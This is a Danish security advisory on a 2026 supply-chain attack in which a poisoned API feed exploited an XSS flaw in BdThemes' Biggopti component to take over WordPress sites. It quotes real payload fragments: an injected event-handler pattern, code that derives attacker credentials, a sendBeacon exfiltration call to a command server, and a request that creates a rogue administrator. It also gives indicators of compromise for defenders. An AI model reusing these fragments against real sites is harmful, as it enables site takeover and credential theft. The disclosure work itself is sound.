BdThemes ramt af supply chain-angreb via forgiftet API-svar
Et kompromitteret JSON-feed var nok til at overtage WordPress-sites med flere BdThemes-plugins. Angrebet ændrede hverken plugin-kode i WordPress.orgs repository eller filer på det enkelte site, men kørte JavaScript direkte i browseren hos en logget ind administrator.
Kritisk hændelse
Bruger du et af de berørte plugins, skal du behandle sitet som muligt kompromitteret. Gennemgå straks brugere, plugin-mapper og databaseoptioner for indikatorerne længere nede.
Alle kendte berørte plugins blev 7. august 2026 midlertidigt lukket i WordPress’ plugin-bibliotek, mens de bliver undersøgt. Angrebet ramte leverandørens Biggopti-komponent, der henter kampagnebannere til wp-admin fra en ekstern API.
Sårbarheden kort fortalt
Biggopti indeholder en cross-site scripting-sårbarhed (XSS), hvor angribere kan få vilkårlig JavaScript til at køre i en administrators browser. Fejlen ligger i feltet display_id fra Sigmative API’et, som ikke bliver escaped korrekt, før det indsættes i HTML.
Sårbarheden har CVSS-score 5,4 (medium) og er angivet som upatchet. Den rammer forskellige versioner af Biggopti-biblioteket og kan udnyttes, hvis en angriber får adgang til Sigmative API-serveren og kan ændre dens svar.
Berørt software
Følgende plugins er omfattet af sårbarheden:
- Element Pack Addons for Elementor — Elementor Widgets, Elementor Templates, Elementor Addons (
bdthemes-element-pack-lite) - Live Copy Paste for Elementor — Cross Domain Copy Paste & Page Duplicator (
live-copy-paste) - Pixel Gallery Addons for Elementor — Easy Grid, Creative Gallery, Drag and Drop Grid, Custom Grid Layout, Portfolio Gallery (
pixel-gallery) - Prime Slider Addons for Elementor — Widgets, Templates & Elementor Addons (
bdthemes-prime-slider-lite) - Smart Admin Assistant — Dashboard and Site Enhancements (
smart-admin-assistant) - Ultimate Post Kit Addons for Elementor (
ultimate-post-kit) - Ultimate Store Kit — Addon For WooCommerce, EDD and Elementor (
ultimate-store-kit)
Sådan blev det eksterne feed til et angreb
Biggopti henter bannerdata fra en API, der består af statiske JSON-filer i en DigitalOcean Spaces-bucket bag Cloudflare. Det er altså ikke en dynamisk applikationsserver. En uautoriseret aktør fik skriveadgang til bucket’en og erstattede legitime JSON-svar med manipulerede svar.
Hvert plugin med Biggopti indlæser et JavaScript-asset på admin_init. Scriptet kører derfor på enhver sideindlæsning i wp-admin, henter bannerdata og bygger en notice i DOM’en. Her bruges display_id direkte i et HTML-id uden escaping:
// display_id kommer fra den eksterne JSON-respons
var f = t.display_id || t.id || "default";
var m = "bdt-admin-biggopti-api-biggopti-" + f;
// Værdien indsættes uescaped i HTML-attributten
A = 'id="' + m + '"';Samme kodebase har en escape-funktion til attributten data-display-id. Funktionen erstatter &, <, >, og dobbelte anførselstegn, men den blev ikke brugt til id-attributten.
function escapeAttribute(value) {
return (value || "")
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """);
}SVN-historikken viser, at den uescaped id-injektion kom ind i Prime Slider 4.1.9 den 1. marts 2026 og derefter blev brugt i de øvrige plugins. Senere versioner tilføjede en DOMParser-baseret sanitizer til bannerets indholdsfelt, som fjerner farlige HTML-tags og inline-handlere. id-attributten forblev dog uescaped.
Det manipulerede display_id brød ud af id-attributten og tilføjede en onanimationstart-handler. En CSS-animation udløste handleren efter cirka 10 millisekunder, så JavaScriptet kørte lydløst, hver gang en administrator åbnede en side i kontrolpanelet. Den observerede JSON-respons brugte en SAFE"-værdi efterfulgt af onanimationstart=eval(String.fromCharCode(...)) til at hente et eksternt script fra api.sigmative.io.
Ingen opdatering eller filændring var nødvendig
En installation kunne blive ramt uden plugin-opdatering og uden ændringer af filer på disken. Det gjorde angrebet vanskeligt at opdage med filbaserede integritetsscannere og kun svagt synligt for web application firewalls, fordi angrebsvektoren var det betroede API-svar.
Når scriptet kørte i en administrators autentificerede session, oprettede det falske administratorer, uploadede et plugin med webshell og etablerede vedvarende bagdøre. Resultatet var fuld kompromittering af sitet og mulighed for fjernudførelse af kode.
To payloads og flere kompromitteringstrin
Primær payload: w2.js
Den primære payload blev leveret til plugins, der brugte endpointet api-data-all-records. I den aktive administrators session gennemførte w2.js følgende forløb:
- C2-verifikation: Scriptet kontaktede
ia-cdn[.]com/fz/cmed det kompromitterede sites origin for at modtage målretningsinstruktioner. Returnerede C2-serveren statusskipellerdone, stoppede scriptet. - Oprettelse af falsk administrator: Scriptet brugte
X-WP-Noncefra den aktive administrators session til at oprette en administrator gennem WordPress’ REST API. Hvis det mislykkedes, faldt det tilbage til almindelige formularindsendelser. - Installation af webshell: Scriptet hentede en falsk plugin-ZIP fra C2-serveren og uploadede den gennem WordPress’ normale plugin-uploadformular. Pluginet brugte sluggen
wp-smart-thumbnailseller en tilsvarende neutral slug og indeholdt webshellenemer-run.php, som kunne kaldes direkte via URL. - Vedvarende MU-plugin-bagdøre: Kaldet til
emer-run.phplagde to persistensmoduler i mappen for Must-Use-plugins. De indsamlede eksempler var tilbagedateret til september 2025 for at ligne legitime filsystemtidsstempler, og filnavnene kan variere mellem infektioner. Det ene modul gav uautentificeret administratoradgang via URL-parameteren?_wplogin=<token>og gik efter sitets længst registrerede administrator. Det andet var et stealth-modul, der hookede ind i WordPress’ databaseforespørgsler for at skjule de oprettede konti fra brugerlisten og samtidig sænke det viste samlede brugerantal. - Eksfiltrering: Scriptet sendte resultater fra hvert udførelsestrin tilbage til C2-serveren med
navigator.sendBeacon.
Alternativ payload: x.js
Den sekundære payload, x.js, lå direkte på BdThemes’ infrastruktur og blev leveret til plugins, der brugte api-data-records. Den afledte administratoroplysninger deterministisk fra det kompromitterede sites hostname.
function makeCreds() {
var host = siteKey();
var hash = 0;
for (var i = 0; i < host.length; i++) {
hash = ((hash << 5) - hash + host.charCodeAt(i)) | 0;
}
var n = Math.abs(hash).toString(36).slice(0, 6);
return {
user: "bd_" + n,
pass: "Bd@26!" + n + "x"
};
}Algoritmen dannede brugernavne som bd_ plus et base36-hash på seks tegn og adgangskoder som Bd@26! plus samme hash og x. Kontoen fik en e-mailadresse på formen <brugernavn>@wordpress.org. Angriberne behøvede dermed ikke at opbevare en central liste over kompromitterede sites, og incident responders kan beregne de præcise oplysninger, som de skal lede efter på et mistænkt domæne.
Payloaden oprettede derefter den falske administrator gennem /wp-admin/user-new.php, aflæste nonce-værdien fra formularen og sendte status, brugernavn, adgangskode, site-origin, logout-URL og aktuel side-URL til C2. Den gemte også en statusmarkering i browserens localStorage, når det var muligt, så den ikke forsøgte igen i samme browser.
// Resultater blev sendt som formdata; fetch var reservevej.
navigator.sendBeacon(C, new Blob([queryString], {
type: "application/x-www-form-urlencoded"
}));
// Den oprettede konto fik administratorrollen.
var body = "action=createuser&_wpnonce_create-user=" + nonce +
"&user_login=" + user +
"&email=" + user + "%40wordpress.org" +
"&pass1=" + encodeURIComponent(pass) +
"&pass2=" + encodeURIComponent(pass) +
"&role=administrator&createuser=Add+New+User";Omfang og formodet sammenhæng
C2-domænet er knyttet til de samme trusselsaktører som de nylige supply chain-angreb mod Advanced Responsive Video Embedder og OptinMonster. Kampagnens mål var bred, skjult administratorpersistens og fjernudførelse af kode på millioner af WordPress-miljøer.
Angrebet krævede ikke adgang til de enkelte websites. Det var nok at forgifte leverandørens bannerfeed og udnytte fejlen i den kode, der viste banneret. At både de skadelige JSON-records og x.js blev uploadet til leverandørens egen bucket, peger på et alvorligt kompromis af BdThemes’ cloud storage-oplysninger eller interne infrastruktur.
Indikatorer på kompromittering
Gennemgå installationen for følgende netværks-, filsystem- og databaseindikatorer. De to berørte API-endpoints er siden blevet renset, men de skal fortsat indgå i historiske logs og telemetry.
Eksterne ressourcer
- Primær payload:
ia-cdn[.]com/fz/w2.js - C2 beacon-endpoint:
ia-cdn[.]com/fz/c - Forgiftet API-endpoint:
api[.]sigmative[.]io/prod/store/api/biggopti/api-data-all-records - Forgiftet API-endpoint:
api[.]sigmative[.]io/prod/store/api/biggopti/api-data-records - Sekundær payload:
api[.]sigmative[.]io/prod/store/api/biggopti/x.js
Filer, database og brugere
- Webshell:
emer-run.php– MD5:1024732009983dd5e54b4cf5593f04d4 - MU-plugin til magic login:
class-wp-token-validate.php– MD5:7719cd98a35ffad2771f26d1ceab7d27 - MU-plugin til stealth:
class-wp-query-9d127ff3.phpeller lignende navne efter mønstretclass-wp-query-*.php– MD5:9aadc3e5c5242b273bd17c5bdc358845 - MU-plugin med betegnelsen Health Check:
wp-cache-optimizer.php– MD5:e450ae5bc4bfc0d960dded06a76bb8e9 - Databaseoptionen
fz_emer_login_tokens, som gemmer magic-login-tokens - Databaseoptionen
fz_emer_done_v1, som markerer et fuldført kompromis - Konti med e-maildomænerne
@wordpress.orgeller@developer.wordpress.org - Brugernavne, der matcher
bd_efterfulgt af seks alfanumeriske tegn
Tidslinje
- 1. marts 2026: Biggopti API-JavaScript blev tilføjet til Prime Slider
4.1.9i SVN-revisionr3471891.display_idblev sat uescaped i enid-attribut, og API’et brugteapi-data-records. - 10. maj 2026: Endpointet skiftede til
api-data-all-records. En DOMParser-sanitizer kom til indholdsfeltet, menid-attributten var fortsat uescaped. - 23. juni 2026:
start_datei den forgiftede API-kampagne angav en Summer Sale-notice. Det er den tidligst mulige dato, hvor XSS kunne have været aktiv. - 6. august 2026 kl. 22.40 UTC: Seneste
Last-Modifiedpå det forgiftedeapi-data-records. - 7. august 2026 kl. 09.11 UTC: Seneste
Last-Modifiedpå det forgiftedeapi-data-all-records. - 7. august 2026: Angrebet blev observeret i aktiv brug, og sagen blev meldt ind.
- 7. august 2026: Plugins blev lukket i WordPress’ plugin-bibliotek, mens de afventer gennemgang.
- 7. august 2026 kl. 16.56 UTC: Analyseartefakter blev indsamlet.
- 8. august 2026: Begge API-endpoints returnerede igen ren JSON.
Det skal du gøre nu
Har sitet et af de berørte BdThemes-plugins, skal du først gennemgå alle brugerkonti, især bd_-konti og adresser på de nævnte e-maildomæner. Undersøg derefter plugin-mapperne, MU-plugin-mappen og optionstabellen for samtlige indikatorer, og kontrollér historiske forespørgsler mod de anførte domæner.
Wordfence Premium, Care, Response og betalte Wordfence CLI-kunder modtog malware-signaturer og WAF-regler til at opdage kompromisset 7. august 2026. Gratis Wordfence- og Wordfence CLI-brugere modtager ifølge den normale forsinkelse de samme signaturer og regler 30 dage senere.
Referencer / Kilder
Mads Jensen
Kubernetes og container orchestration ekspert. Microservices deployment og cluster management er min hverdag. Skalerbarhed i centrum.
Alle indlæg